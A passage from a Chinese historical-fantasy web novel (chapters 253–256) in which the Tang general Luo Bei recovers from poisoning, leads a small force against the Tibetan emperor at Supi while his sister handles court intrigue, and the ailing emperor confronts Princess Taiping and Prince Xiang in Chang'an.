褚沅有些诧异地回望了他一眼,终究是归于轻轻一笑。 洛北的大帐里浮动着苦艾与甘松的暗香,褚沅将双手浸入盛着新雪的玉盆,又将雪水在丝帕上擦净: “总算处理完了,没误了时辰吧?” 她抬眼时已换上江南杏雨般的笑意,好像刚刚逼退裴耀卿的人不是她。 药盅正在炉上发出沸腾的声响,骨力裴罗应了一声,替她把药汤尽数倒到药碗之中。 褚沅用一边的象牙扇轻轻扇了数下,待到药汤温热,才俯身尝了一口药汤。 “褚姑姑,您不必每次都……”骨力裴罗想要制止她,她却已经把药汤咽了下去。 “这是我的职责。”褚沅笑着摆了摆手,“你不必多想,去忙你的吧。” 她来到自己血亲的病榻前,年轻的将军躺在那里,脸上依旧一片惨白。她伸手要去扶起洛北,洛北已经睁开了眼睛: “沅儿怎么来了?我以为你会坐镇碎叶。” 第253章 “圣人口谕,着碛西镇守使、碎叶郡王洛北即刻返京!” 褚沅双眼一亮, 起身时差点踩着自己的裙摆。她勉强稳住身形,一手按住洛北的脉搏,又要转头去叫军医, 却被洛北反手握住了手腕。 “别声张。” 他的脸色依旧惨白得不像个活人, 但那流金一样的眼眸中又有了那种掌握一切的光芒,就像帐蓬外群山之巅的那轮太阳: “沅儿,我虽然已经很久没真的做个郎中了,也不至于连别人在我杯子里下毒都不知道吧?” 褚沅生生把要掉下的眼泪眨了回去,又抱起一只大大的软枕塞到他身后, 扶着他慢慢坐了起来: “我知道阿兄有自己的打算,可是,唉……可是你为什么非要用伤害自己的手段不可呢?” “也算是我的一点小小任性, 要不是这样,我哪能在床上安稳地睡这么久?”洛北笑了笑,伸手要接她的手中的药碗, “放心, 我有分寸,不会误了大事,不然,乌海之战的时候, 我就不会把他送回应龙城了。” 褚沅也不劝他,手上只微一松力, 药碗的重量便大部分落到了洛北手中。他的手微微发抖,带着药碗也发出颠簸的杂音。 洛北讪讪地收回手,只得靠在软枕上, 就着她的手一勺勺把药喝完。 “阿兄这话真是叫我无地自容了。”褚沅放下药碗,脸上有些黯然, “若是我能多为阿兄分忧,你也不至于……” “不是你的错,你自责什么?”洛北轻笑一声打断了她,“你来得比我想象的快得多,长安有情况?” “陛下生了场大病,有些人乘着这机会浑水摸鱼,想要隔绝内外,再来一次政变。” 褚沅用绢帕抹掉洛北唇边的药渍,温声道: “我来青海之前,太平大长公主已经启程回京。有她坐镇,朝中能清净不少,只是那些人既然动不了陛下,便会来逼迫阿兄。” 洛北微微弯了弯眉眼:“看来你已经找过裴耀卿了。” 他卧在病榻上,昏迷不醒,却对帐外的一切了如指掌。褚沅不知是该夸他神机妙算,还是该说他连自己都算了进去。 “裴御史招供招得痛快,我都没怎么诈他就吐了口。只是可惜了王翰,他之前常和裴耀卿诗歌唱和,想来这一次是彻彻底底的伤了心。” “王翰也来了?”洛北问。 “春闱的日子快到了,他想去长安看看有没有愿意去碛西任职的青年才俊。”褚沅温声解释,“结果半路上听闻我要来青海前线,便兴致勃勃地跟来了。现下正被我托着看管裴耀卿呢。” “你呀……”洛北递给她一个无奈的眼神: 以王翰那种光明洒脱的个性,自然不会对裴耀卿怎么样,但看着昔日诗歌唱和的文友成了今日这副样子,王翰心里岂能没有想法? 而裴耀卿呢?他素重气节,抱着“士为知己死”的信念来青海做了相王手里的刀,如今事情几乎成功,自己却没能“杀身成仁,又是与自己的故友朝夕相对,他又怎么可能好受呢? “我还想要裴耀卿给长安的相王递些消息,暂时不会让他死的。”褚沅替洛北拉了拉被子,“他谋害自己朝夕相处的主帅,除了一死之外,竟然不想付出别的代价,还想留个忠义之名万古长青,哼,未免想得太美了。” “我早说了,你比我适合朝堂得多。“ 洛北轻轻一笑,以褚沅的本事,莫说一个裴耀卿,就连远在长安的相王也未必是褚沅的对手。 “阿兄不必夸我,要是真的信我,就再休息数日吧。”她似乎觉得洛北已经说了太多太多的话,起身道礼,“朝中的事情我会挡住,军中的事情阙特勤和郭知运都能处理……阿兄,你可以不必把自己逼得那样紧。” 她一直对答如流,只有这几句话显出一点犹疑,一双眼眸紧紧盯着洛北,生怕他会拒绝。 “睡了这几天,已经够本啦!”洛北摇了摇头,“若我所料不错,吐蕃赞普应该亲自到前线来了吧?” 褚沅对军情自然不如他熟悉,但这几日穿梭军营,也对这群将领们提的最多的几项情报有所耳闻:“不错,吐蕃前锋游骑已经到了苏毗地界。” “让我猜猜,是谁会率领敢死队到苏毗去?”他微微闭眼,却没有真的在思考,不过是装模作样一番,卖个关子罢了,“李嗣业?” “李嗣业受阿兄之恩深重,愿意以身相报。” 褚沅似乎察觉到什么不对,正要说话,洛北却已经一撑双手,坐直了身体: “我会同他一道去。” 数日之后,李嗣业反复斟酌,终于在一张张报名单子里挑出了八百壮士。他将这些人聚集在残雪未消的大营之外,举刀与他们盟誓: “不破吐蕃,绝不回军!” 众人手中的刀锋在高原的阳光下宛如一片银色波涛。正在众人高唱军歌,要为自己送行时,忽然听得自一边的山间传来清脆的马蹄声。 洛北身骑白马,匆匆赶到众人之前,一袭红披风在他身后被狂风吹得猎猎翻卷。当他在众人面前勒马扬立之时,身后的日光也没有他的眼眸耀眼。 “大帅!”李嗣业的横刀哐当坠地。这个素以百人敌著称的猛将突然跪倒在地,玄铁护膝在冻土上砸出两个深坑。 先是前排的陌刀队,接着是整个军阵。铁甲与冻土相击的轰鸣几乎能惊起大地。他们齐声呼喊:“大唐万岁!大帅万岁!” 洛北抬手止住众人,亦抽出佩刀向天发誓:“不破吐蕃,绝不回军。” 消息传到将帅齐聚的大帐之内,又是另一番景象。郭知运一拳砸在沙盘边缘,青铜铸造的吐蕃王帐应声而倒:“公子刚能下榻就要去苏毗?那鬼地方可不是好走的,公子您……” “正因为如此,我才要去。因为除了我之外,你们都没有走过去苏毗的路。”洛北坐下身,示意他们看沙盘,“一路山峰林立,许多孔道如今只有我能找到。” 他似乎已经打定了主意,几位将领轮番上阵也没能劝得他回心转意。最后,还是抱着双臂站在他不远处的阙特勤开口: “我赞成你去。” “哦?看来还是左贤王知道我的心啊。”洛北笑道。 “中原有句话叫‘毕其功于一役’,你现在打的就是这个主意。”阙特勤解开腰间兵刃,压在了沙盘一角:“我只有一个条件,我跟你一道去。” 洛北微微皱眉:“不要胡闹,吐蕃大军压境,我们又是在苏毗的地盘上打仗……” 阙特勤比他更决绝:“所以我要跟你一起去。”他似乎知道洛北的性子,又刹住自己的语气,放柔了声音:“你总要学会依靠别人的,乌特。” 洛北看着他,轻轻地叹了口气算作默许,他对着沙盘开始发号施令,把唐军大部队留守在青海,自己则和阙特勤一道西去。 “毕其功于一役。”众人散去之后,洛北忍不住问了一句阙特勤,“你是怎么想到的?” “你上回说,乌海之战是你的时代里最后一场大战的时候,我就想到了。”阙特勤道,“你这一去,也没有真的打算和赞普打仗吧?” “我和你打赌,只要我的帅旗出现在苏毗,赞普就会立刻遣使求和。”洛北笑道,“这样近乎无本万利的买卖,我有什么做不得的?” 阙特勤摇了摇头,替他紧了紧身上的披风:“要是他们就想拖垮你呢?” 如果这是一个局,是吐蕃人已经意识到无法从战场正面击败这位大唐军神,打算用频繁调动的军队、接连不断的夜袭配合着高原上的寒冷与瘴气一起拖垮他呢? “我不担心这个。”洛北在寒风中轻轻咳嗽一声,“我担心的另有其人……” 他伸手远指,阙特勤顺着他的目光看去,有一支骑队正从长安方向奔驰而来。 半个时辰之后,黄门使者捧着鎏金令牌撞进了大帐之中,令牌上的盘龙在火光中张牙舞爪,使者尖细的嗓音刺得人耳膜生疼: “圣人口谕,着碛西镇守使、碎叶郡王洛北即刻返京!” 褚沅起身替洛北接过圣旨,话说得很客气:“请朝廷恕洛帅身患重病,不能起身,将此令暂缓。” 那小黄门似乎也与她认识,一见是她,气焰先缓三分: “咱家也不想同褚姑姑为难,这不是圣命如此,不可违抗么?陛下可说了,朝中那些人都纠集起来,说洛将军不能履职,要收了他的兵权……陛下也是为了洛将军着想,才劝他回长安的。” “陛下好意,臣等心领了,只是洛将军病重如此,挪动是要出大事的。”褚沅道,“就请陛下怜悯洛将军的性命,准他再在青海修养数日,如何?” 小黄门为难了半晌,见这一帐人皆没有要遵旨的意思,只得转身退了出去。褚沅追在他身后,塞给他一把金豆子: “陛下那里如何?” “陛下醒过来好久了,饭也吃的,事情也做的,就是不能太费心劳神。”小黄门掂了掂分量,脸上笑得更开心了,“褚姑姑,这差事你可太叫我为难了……” “权且看在金子的面子上吧。”褚沅笑道,“还请陛下宽限则个。” “陛下也难。”小黄门左右张望,压低了声音,“褚姑姑都不知道朝中那些人说话多么难听,什么包藏祸心,什么蛇种豺性,什么……” “打住。”褚沅晃了晃手指,“我只有一句话要问。” “你出发之时,可知道下一批使者打算何时出发?” 第254章 “将军大纛一到,那吐蕃小儿果然败退,如今他已经扎到距此地五十里的山间去了。” 这是裴耀卿做了“囚犯”的第十五日。 平心而论, 他这个“囚犯”做得无比悠闲。褚沅不愿声张此事,只宣称他生了病,需要静养, 不准他随意出入营地, 又从他手中把监军职务暗自接了过去。 而负责看管他的王翰一边当“看守”,一边给碎叶文馆新出的地理图册校稿。 两人自从那日便互相不说话,一直僵持着,直到有一回裴耀卿实在看不下去,提点了王翰几句漕运河道的标识。自那之后, 王翰面上虽然对他还是不假辞色,遇到不确定之处,也会开口问问他。 白日里两人就在营帐中一同校稿, 夜幕一落便各回各的营帐。除了不再接触那原本就不多的军报之外,裴耀卿竟不觉得自己现在的生活比之前有什么变化。 虽说他现在的日子,远比之前做监军时好过许多。但一日一日的时光飞逝, 终究让他敏锐地意识到, 他的任务没能成功。那位年轻的洛北将军依旧活着。 他说不出是愧疚,还是欣喜,大部分时候都真的像生了重病那般躺在床上,什么也不想做。直到这一日, 有个小黄门趁着夜色摸到了他的营帐里。 “你是?”他看着来人熟悉的面孔坐起身,“你是相王府里” “裴典签不要多话。” 那小黄门向他比了个“嘘”字的手势, “典签”正是裴耀卿之前在相王府里的称号: “之前相王匆匆一动,差点在陛下面前露了痕迹,这几日他只能闭门不出, 以求避祸。” 裴耀卿皱了皱眉,猜到相王隔绝内外的法子失了成效:“相王殿下需要我做什么?” 小黄门从怀中掏出一封信, 小心翼翼地递到裴耀卿手上:“请裴典签过目。” 裴耀卿点开信件,越读脸上的神情越沉:“相王殿下怎么会这么想,这” 小黄门被他吓坏了,忙打手势示意他不要多说:“小人可不敢过问相王的事情,还请您老写下来。我已经和褚夫人说好,明日再起行回京。” “天亮之前,我溜出去一趟。”裴耀卿道,他深深地叹了一口气,重新倒回床上的时候,已发现自己的手心被冷汗浸透。 数日之后,当这小黄门打马走上前往长安的漫漫长路之时,洛北已经率军向苏毗行去。 时值初春,高原上的一切都在缓慢地苏醒之中,冰雪之下,绿意渐渐露头,阙特勤和李嗣业一左一右地跟在他身后,照着他行过的道路一路疾行。 十日之后,唐军骑兵已经到达了苏毗境内。他们按照洛北的安排,将帅旗高高举起,又扬起数十面军旗,赤红的唐军军旗遮云蔽日,几乎塞满了半个山谷。 “阿史那乌特——他一定得到了魔鬼的保护!”消息传到吐蕃军营,赤德祖赞惊得立刻跳了起来,他在自己的王帐中来回数十步,也没能压住心绪。 临时担任大论的韦·绮力心儿也是心事重重,高原的冬末春初多的是大风与冰雪,连吐蕃人自己都不敢轻易行走,谁能想到唐人的骑兵会来到这么快? “这太奇怪了,不是说他遭到了吐谷浑人的背叛,中毒不起吗?”韦·绮力心儿深深长叹一口气:“怎么会这么短的时间就重新恢复了健康?” 赤德祖赞一个字也说不出来,半晌才问使者:“唐军来了多少人?” “不知道,我们的斥候只说他们的旗帜很多,几乎遮云蔽日。” 使者半跪在地,小心翼翼地提出建议: “赞普,我们是不是应当回撤几步?依照唐军的速度,只怕五天之内,就能到达苏毗境内,到时候短兵相接,只怕我们不是对手。” “不行!”赤德祖赞断然拒绝,“我御驾亲征,现在连敌人都没见到,就要撤退,我怎么和逻些城的贵胄和百姓们交代?” 自从苏毗叛乱、乞力徐和达扎恭禄兵败乌海以来,逻些城及吐蕃境内物价飞涨,贵胄的饭越来越粗糙,还有不少庶民与奴隶被逼得走投无路,几乎要饿死街头。要与唐军议和的声浪一天高过一天,人们指责年轻的赞普没有他祖母的智慧,不能执掌吐蕃这样的国家。 赤德祖赞无奈至极,几乎要他在长安的使臣答应大唐的一切条件。可就在盟约要再度成型之时,青海那边突然传来了洛北病倒军中的消息。 洛北征战十余年,早就成为大唐的一个不可战胜的象征,如今竟然自己倒下,无疑是给了吐蕃一些帮助。 赤德祖赞忙不迭地利用商队和僧人传播消息,称洛北的病是由苯教巫师的诅咒引发的,他战胜了高原的军队,因此得到了吐蕃神灵的惩罚。 失去了洛北,所以大唐必然失败。 在这样的鼓动之下,赤德祖赞很快凑起一支颇有规模的军队。他用御驾亲征的方式安抚人心,带着这支军队跋山涉水,来到了苏毗王国的境内。 他本意并不是招惹在青海或者河源的唐军主力,只想迫使苏毗的新任女王对自己低头,重新成为吐蕃进军大唐的后勤基地。 然而事实并不如他的意,苏毗女王赵曳夫是个铁骨铮铮的硬骨头,无论如何,也不肯再度屈从吐蕃的统治。更让他糟心的是,洛北不仅病愈,还带着军队出现在了他的前线上。 现在,要他一仗不打,一箭不放就退出苏毗的领土——他敢这样做,逻些城的那些贵胄和庶民就敢把他掀下宝座。 “可是您的安全是最重要的。”他的母后赞玛脱脱登也赞成退军:“向后退却,又不是直接回到逻些城去。洛北的兵锋何等之快,我只怕赞普还未回到逻些,就已经被他偷袭,难道您忘了昔年他在西域那段传奇的‘雪夜破牙帐’的故事了吗?” 一提到此事,赤德祖赞也不免迟疑。当年他还是个少年人,算是听着这段唐人英雄的故事长大。现在这位传说中的英雄就带着兵马向他走来,他是否能保证自己不成为传奇故事里的一个可悲的注脚? 想到此处,他不禁打了个寒战:“传令全军,后退五十里。避入山间驻军,四处设下岗哨,防止唐人的偷袭!” 苏毗女王赵曳夫和她的军民饱受围困之苦,眼见吐蕃大军撤离,心里忍不住地高兴,竟亲自跑下碉堡,来到洛北的马头之前跪拜道礼,“吐蕃人滋扰我土已久,还好将军及时赶到,我国有救了!” 洛北倒是一如既往的平静,听了这番话,也只是一笑:“女王太客气了。” “将军大纛一到,那吐蕃小儿果然败退,如今他已经扎到距此地五十里的山间去了。他畏惧将军如此,此次我们必能大获全胜。”赵曳夫说得分外热闹,洛北却反应平平,她狐疑地打量打量他,又看了看他的身后:“不知将军带来多少人马?” “八百人。”洛北道。 “八百人怎么够?!”赵曳夫失声惊叫,几乎是意识到自己的失态,才又压住了声音:“将军可知,吐蕃赞普纠集了数万大军来此,您手中这八百人,怎么够用啊。再说我听说您的亲军都不止这个数目。” 阙特勤听得有些不顺耳:“难道女王觉得吐蕃人会是我们的对手?” “自然不是,可,便是说故事,这也是八百人对几万人呐。”赵曳夫无奈地道。 李嗣业性子比阙特勤沉稳,闻言只温声道: “女王不要误会,苏毗与吐蕃之间有山峦隔断,也有关隘。如今吐蕃退军,正好把地利拱手让给了我们。我们只要把住关隘和要道,并不需要很多人马。” “他们俩说得都有几分道理。”洛北见赵曳夫脸上还是疑虑重重,只得温声道,“女王放心,我既然敢提兵前来,便有打赢此仗的办法。” 他转向远处的关隘,雪山在夕阳下镀上了一层金色,他几不可闻地叹息一声,又转身面向阙特勤和李嗣业: “明日我们便领兵上山,等着与吐蕃人决战。” 阙特勤和李嗣业都抱拳应下。他又转身对苏毗女王道:“我来此之前,曾经备下数百套唐军军装,请女王着军中精壮者穿上,与我们一同上山,另外,后勤之事” “请将军放心,这点事情我还是能办到的。”赵曳夫躬身道礼,退到了一边。 第三日清晨,当负责侦查的吐蕃斥候看到关隘上飘扬的唐军旗帜,忙不迭地通报了赤德祖赞。 赤德祖赞在帐中摸着自己的胡须长吁短叹:“还好撤得及时,否则与唐军短兵相接,还不知道会怎么样?对了,他们有多少人?” “看灶台数量,好像人员不多。”斥候仔细思索了片刻:“我要是记得不错,大概有一千多人。” “一千人?他只带一千人就到前线来?不可能啊,他疯了吗?”赤德祖赞满脸不可置信,他竟被一支一千人的队伍吓到了山里? “看,看炊烟数量,是的。”斥候字斟句酌,生怕得罪自己的君主,“或许他们把主力留到了苏毗境内,只把少部分人留在阵前。就是想着重复乌海之战的计策,把我们一网打尽。” 韦·绮力心儿想了想:“或许我们可以以此关隘入手,挫一挫唐军的锐气。我提议,我带兵前去叫阵,让那些唐人派出兵马来与我们交战,试试他们的虚实。” 赤德祖赞看了他一眼,苦笑道:“你打算自己去?唐军勇将那么多,万一你也折在阵前,我们该怎么办?” “我不相信洛北真的有神灵保佑,能在大病之后,还恢复如初。”韦·绮力心儿冷哼一声:“他杀了达扎恭禄,俘虏了乞力徐,他们都是我们韦氏的前辈族长,这个仇,我一定要报!” “既然这样,”赤德祖赞想了想:“我率领大军与你殿后,若唐军露出怯意,我们就一股脑把他们都吃掉。” 第255章 “他们倒是想这么干。可是和大唐拼国力,和你乌特拼后勤?他们都还没疯呢!” 辰时未至, 洛北已经从睡梦中醒了过来。自从病榻上躺了一遭之后,他做梦比平常频繁了些,此时醒过来的时候, 头脑里还残存着梦境中的安稳景象。 身为医家, 他自然知道,这代表他的身体越来越无法支撑自己像今天这样奔袭千里,昼夜不眠地作战了。他轻轻叹了口气,坐起身来。 “乌特!”阙特勤一身铁甲,闯进了他的营帐之中, 带来一股凛冽的春风,“吐蕃人趁着夜色摸上来了,我们的游骑还在后方发现了吐蕃赞普的痕迹, 怎么说,打不打?” 洛北本是和衣而坐,闻言不由得笑了一声:“打, 当然要打。我本来以为他们会忌讳山路狭窄, 不敢派兵前来,结果……” “我可听说了,带兵的也是个韦氏的小子,和咱们算是新仇旧恨算不完。他打算拿咱们立一立威, 来坐稳那个大论的位置。” “顺便为他的叔伯兄弟们报仇,是吗?”洛北笑着摇了摇头。 坦率而言, 如果是他自己要和“如今的洛北”这样的敌人对战,他一定会选择先围困、后断粮、再发起总攻的做法。因为这样最稳妥,也最容易——再狂热的信仰都抵挡不过没有食物和水的压力。 但他的对手们都不会这样想, 他们喜欢进行一而再,再而三地军事冒险, 想要靠击溃唐军的军心,快速结束这场战役。 晨起巡营时,洛北随口向阙特勤说起他的想法。 阙特勤回看了他一眼,在他身后,远处山脊线正泛起青灰色的光晕,显得洛北金色的眼眸越发明亮璀璨。 似乎意识到洛北是严肃地说起这个话题,阙特勤忍不住哈哈大笑起来:“他们倒是想这么干。可是和大唐拼国力,和你乌特拼后勤?他们都还没疯呢!” 洛北先是一愣,而后哑然失笑,他望着山下的吐蕃军队,低声道:“你说的对,若我不是大唐的将军,我也未必能成就如今的事业。” 他这话里的深意阙特勤听得分明,正要说什么,洛北已经单手按着一块岩石坐下,忽然眯起眼睛。晨光中隐约有铜器反光在山坡下闪烁——那是吐蕃重步兵的护心镜,像无数洁白的海浪。 “回去让军队列常阵,开三门。”他站起身,看向阙特勤:“咱们就同吐蕃人比拼比拼。” 当正午的阳光刺破云层时,吐蕃军阵已如黑潮漫过山谷。 洛北站在高处下望,看到那些衣着绚丽的吐蕃将领们在阵前走来走去,笑道: “赤德祖赞也真是没办法了,什么人都拉到前线来了。你看这些人的站姿,想来连列阵的机会都不多。” 阙特勤顺着他的目光看过去,即使是他出自素来军阵结构松散的突厥部,看到这些人的散漫习气也不由得皱眉:“这是什么打仗的样子!” “大帅、副帅,两位在说什么?”李嗣业将军队列阵一毕,向两人躬身道礼。 “嗣业辛苦。”洛北扶了他一手,“不必多礼。我们正在说那个吐蕃将领的马,那个穿红衣服的。” 李嗣业张望一阵,也在人群中找到了那个红衣军将的身影,此刻他似乎察觉到唐军的目光,正耀武扬威般地驾驭宝马做出诸多复杂的动作。 “当时我们和大食人作战,最羡慕的就是他们的马匹好,比咱们这儿的马要高出半个头。”阙特勤道,“也就是吐谷浑人的青海骢堪与他们相比了。我看这匹马就是匹正经的青海骢。” 洛北颔首:“不错,真是好马——” 他话音未落,李嗣业已经抱拳道礼:“请大帅允许末将取来献上!” 洛北颔首,还未开口嘱咐他小心。李嗣业已经纵马冲下山去,竟是单骑直扑吐蕃军阵。 他身形高大,冲下阵中时,雪地里好像卷起一阵血色旋风,吐蕃人还未反应过来,已经被他冲入阵中。 “是唐人!唐……!”吐蕃前锋官话音未落,头颅已随陌刀寒光飞上半空。 李嗣业左手攥住那匹马的辔头,右臂肌肉虬结,竟将马背上的骑兵连人带甲掼进冻土。 受惊的骏马长嘶扬立,被他反手一鞭打得惊起,吐蕃人纷纷再度退让,他便这样挟着一匹骏马驰归本阵。 吐蕃军阵霎时如沸水泼雪。前锋纷纷溃退,几乎要撞翻后方弓弩手,韦·绮力心儿不得不多次打出旗号,才堪堪将阵线稳住。 李嗣业驾着夺来的那匹战马在唐军阵前扬立嘶鸣,马鞍上还挂着半截吐蕃旗帜,他把吐蕃旗帜对地一扔,骄傲地顺着唐军为他退开的豁口走到了中军的方向。 “大帅!”青年将领胜利归来,脸上露出了孩子气的笑容,“末将愿将此马献给大帅,请大帅笑纳!” “嗣业真是神勇无二!”洛北鼓掌赞叹,“好,你这个礼物我收下了!待到回到青海,本帅重重有赏。” “末将受大帅之恩深重,不敢受赏!”李嗣业一听,反而急了,他半跪在地,脊背挺得笔直,“请大帅一定接受,否则末将长跪不起。” 洛北这才反应过来他的意思,他犹豫片刻,才笑了笑:“嗣业不必如此……”他看到李嗣业坚决的眼神,到底还是点头应允了,“好吧,多谢你。” “末将能听到大帅一声谢字,虽死无憾了。”李嗣业又笑了,“还请大帅下令,由末将率领陌刀队冲阵!” “且慢!”阙特勤皱眉道,“我说洛将军,你也不要太偏心了,挑阵的功劳分出去了,先锋冲阵的功劳还不肯给我吗?” 他从不叫洛北“洛将军”,这时说这话,多少有些玩笑意味,但他那紧拧的眉头又表示,这话也是他下了决心的。 洛北不知道他怎么突然和李嗣业较劲,上前半步正要劝他放弃——若要迎战吐蕃的重甲步兵,李嗣业的陌刀队是比阙特勤手上的突厥轻骑更好的选择。 但他遥望山下,赤德祖赞的大纛迎风飘摇,有三百骑兵正在整队,他们的马各个比寻常战马高出半头,铁甲在阳光下泛着青芒——眼见前阵形势不佳,赤德祖赞把自己的卫队压上来了。 “好吧。阙特勤,这冲阵的任务我交给你。” 他话音未落,阙特勤已经哈哈大笑:“李嗣业!”他忽然用刀鞘戳了戳陌刀将的肩甲,“敢不敢比谁先掀了那杆吐蕃大纛?” 话音未落,山下突然响起闷雷般的鼓声。吐蕃中军阵前推出三十架牦牛皮战鼓,赤德祖赞的金冠在朝阳下泛起血光——他竟要亲自督战。 李嗣业尚未答话,洛北的将旗已卷过夯土城墙:“擂鼓,开角门。” “那我先行一步!”阙特勤突然纵声长笑,马槊在空中抖出一连串的枪花,他身后三百突厥狼骑齐声呼哨,竟是从西侧陡坡直冲而下。 这些马背上长大的草原汉子宛如银色洪流冲下山坡,几乎没给吐蕃弓弩手转向的机会。第一轮箭雨带着凄厉的声响破空而来,许多重步兵立刻被阻住了道路。 阙特勤第一个冲入阵中,他马槊横扫,三面吐蕃盾牌应声而裂,露出后面惊恐的年轻面孔。他们的肤色都偏白——显然是久居堡垒之中的吐蕃贵胄。 “不够痛快!”突厥左贤王突然弃槊抽刀,一个交错绞住吐蕃千夫长的铁矛。河曲马交错瞬间,他竟借着冲力腾空而起,生生将那吐蕃人掀翻。 待那具尸体坠马,他已稳稳落在千夫长的坐骑上。 唐军阵中突然爆出震天喝彩。李嗣业望着在敌阵中左冲右突的身影,突然也笑道:“阙特勤将军!别想把军功都占了去!”他手中陌刀如怒龙出渊,带着二十名重甲锐卒撞向吐蕃人的军阵。 他们各自率队,好像在吐蕃军阵中杀出了两条血路,突厥弯刀与唐军陌刀交相辉映之处,吐蕃人纷纷遁逃。 阙特勤用地上的一把飞刀斩下第七个百夫长的头颅,忽而看到有人在阵中且战且退,手中还赫然握着镶有祖母绿的赞普宝刀。 “那是吐蕃主帅韦·绮力心儿!”他心下着急,连洛北赠予他的陨铁唐刀也丢了出去,这一击他用了千钧之力,却在最后几步内被李嗣业的陌刀截住。 两柄兵器相击迸出火星,韦·绮力心儿趁机遁入亲卫队中,向后逃窜了。 “李嗣业!你想干什么!” “阙特勤将军,围师必缺!” 两人你来我往地争辩几句,手上却不停。阙特勤夺过吐蕃战旗裹住弯刀,舞作一团赤云,逼退从侧面逼近的几个吐蕃军人。 李嗣业陌刀插地,竟单手夺走一面盾牌掷向敌阵。 再前进便要到赤德祖赞所在的中军,唐军却突然鸣金收兵,阙特勤和李嗣业对望一眼,谁也不说话,各自回营。 吐蕃大军也开始后撤,两军之间留下一地血色,在残阳的映照下格外显眼。 第256章 “古来名将多半享年不永,何况又是惊才绝艳如洛将军。” 一枚黑棋被放到了棋盘的天元位置上。 李嗣业拿着白棋举棋不定, 把盖在腿上的大氅内衬的皮毛捋了一遍又一遍,他想要用眼神求助侍立在洛北身后的王训。王训只管眼观鼻,鼻管口, 丝毫没有指点的打算。 正在他举棋不定的时候, 阙特勤带着一阵寒风从外间走了进来。他即刻起身,也不在乎大氅的边缘扫乱了几枚棋子: “阿阙将军,怎么样了?” 阙特勤略挑了挑眉,似乎很惊讶他这么叫自己,但被洛北目光一扫, 就没问出口:“吐蕃那边没有动向。我们派去的使节他们也不理睬。” “大帅。”李嗣业脸上的急切溢于言表:“如果吐蕃人重整旗鼓,再来围逼我军怎么办?” 洛北抬头看了他一眼:“你太心急了,嗣业, 坐,该你落子了。” “大帅!”李嗣业被他这句话硬按下来,胡乱下了一手, 又急急忙忙地追问道:“不如我率陌刀队前去袭营, 逼吐蕃投降如何?” 洛北本在思索他那手胡乱的下法,闻言才抬头看他: “你手中最多五百人,吐蕃有数万之众,便是以一挡十, 也不够吧?” 李嗣业偃旗息鼓,只把目光瞄向阙特勤。阙特勤走到大帐中挂着的地图前, 伸手丈量了一番自河源郡到苏毗的距离: “不如叫哥舒翰率兵来援,他手中兵力充足,可以为我们博几分胜面。” 洛北无奈地摇了摇头:“看来今天这盘棋是下不成了。王训, 你的看法呢?” “我……?”王训不防之间被他点了名字,一时手足无措。 洛北手下一众将领性格不同, 王训同郭知运这样内敛稳重,或者慕容曦光那样年轻狡黠的更处得来些。 但这一次,不知洛北出于什么考虑,带来的是两名战功赫赫的悍将。 王训和全军上下的大部分人一样,对这两位大将有些发怵: “我觉得……可以在大小勃律上做做文章。” 洛北“嗯”了一声,起身拍了拍他的肩:“说下去。” “大小勃律是我国之西门,亦是吐蕃人的后腹之地,若我军在此地动作起来,吐蕃人必要回援逻些城。”王训被他肯定,双目放光,说起话来胆气强了不少。 阙特勤犹豫道:“自大小勃律仰攻逻些么,这样做会不会太冒险了?要知道此地地势极高,山脉险峻,对我军来说……” 王训见洛北微微颔首,面上也露出难色:“可若是我们不这么做,吐蕃赞普背靠其腹地的后援,会长长久久地和我们打下去。” 说到这里,三人都沉默下来,谁也没有什么好办法。片刻之后,还是阙特勤看向洛北:“那乌特,你的办法是?” “我的办法是,没有办法。”洛北笑了,金色眼眸里闪动一点狡黠的光,“不是每一仗都能靠将帅的个人能力决定胜负。战争本质是政治的延伸,是两个国家,两支军队在赌自己的命运。换句话说,不仅吐蕃前线会受到逻些城的影响,我们也会受到长安的影响。” “好在现在时间还站在我们这边,”他重新坐回棋盘前,神情一如既往地平静无波,“现在我们要做的,是等别人落子。” 隆熙三年的冬末春初,天气阴沉,极少见阳光,在这个虫草不发的春日里,长安城被笼罩在一片冷肃之中。 年前年轻的皇帝李重俊突然病重,由相王代为监国,吓得常年云游四方的太平大长公主也回了长安。长安城这池幽深的池水,便泛起深浅不一的涟漪。 今日大臣们去太平公主家集会,明日臣子们又去相王李旦家打马球……朝堂上也是如此,相王与太平公主政见不一时,连皇帝也难以开口劝服两人。 “洛北还是没有消息吗?”脸色灰败的李重俊坐在御座上,神情郁郁地望着眼前一片茫茫的草原。他的三个年幼的儿女正由女官们看护着,与一众贵胄世家的孩子们玩耍。 在皇帝宝座身侧的宦官闻言,率先跪倒在地:“陛下,奴婢几次三番派人带着陛下的金牌去青海,都不见洛北将军的踪影,据褚夫人说,洛将军身染沉疴,不能起身,只怕是……” “胡说!”李重俊喝了一声那宦官。 他顿时瑟瑟发抖,把原本下弯的身体变得更弯,几乎要贴到宫中的御道上:“陛下饶命,陛下饶命,奴婢不敢虚言欺瞒陛下,奴婢不敢……” 他连连叩头,叩得自己额头上染了红也不肯停下。 李重俊听得心烦,挥手喝道:“好了!洛将军是大唐军神,自有天命在身,尔等再在宫禁中胡诌他的生死,朕绝不轻饶!” 他最后刻意提高了声量,吼出的话却有些破音,一阵风来便把他吹得咳嗽起来。周围的宫人又三三五五地围上来,求他早日回宫休息。 正在一片混乱的时候,太平公主与相王联袂前来求见了。 李重俊登位之时,对这两位曾经手握重权的父辈施以厚恩,赐给他们许多田地与财产,却通过一系列复杂的人事变动,把他们手中的权力尽数抽走。 禁军挤满了皇帝和洛北自军中拔擢的将校,把太平公主的驸马武攸暨和相王李旦的禁卫大将军职衔变成了虚衔。 政事堂的宰相们也迎来了一批大轮换,有与太平公主交好的萧至忠依旧留任中枢,有与相王亲厚的姚崇增补中央,还有张孝嵩、苏颋等一批青年才俊趁着这股东风成了宰相—— 朝堂动荡如此,太平公主立刻反应过来,立刻自发请命,要散尽家财,兴办女学,并请皇帝准许她前往四方游历,远离长安。 相王反应比她慢一步,又没能按住自己的三子李隆基。在那场失败的政变之后,他从此只能留在长安,做名义上的皇叔和实际上的囚徒。哪怕李隆基死于软禁之所,也未能改变。 这一切本来应当是大唐拨乱反正的开始,是李重俊稳固自身统治的开始,但李重俊的猝然一病,把这一切努力都付诸东流。 他实在懒得和这两位皇姑皇叔虚与委蛇,但太平公主和相王已经来到了他的面前: “见过陛下。” “见过陛下。” “相王叔,太平姑妈请起。”李重俊示意宫人上前搀扶,“今日怎么想到来宫中看朕?” 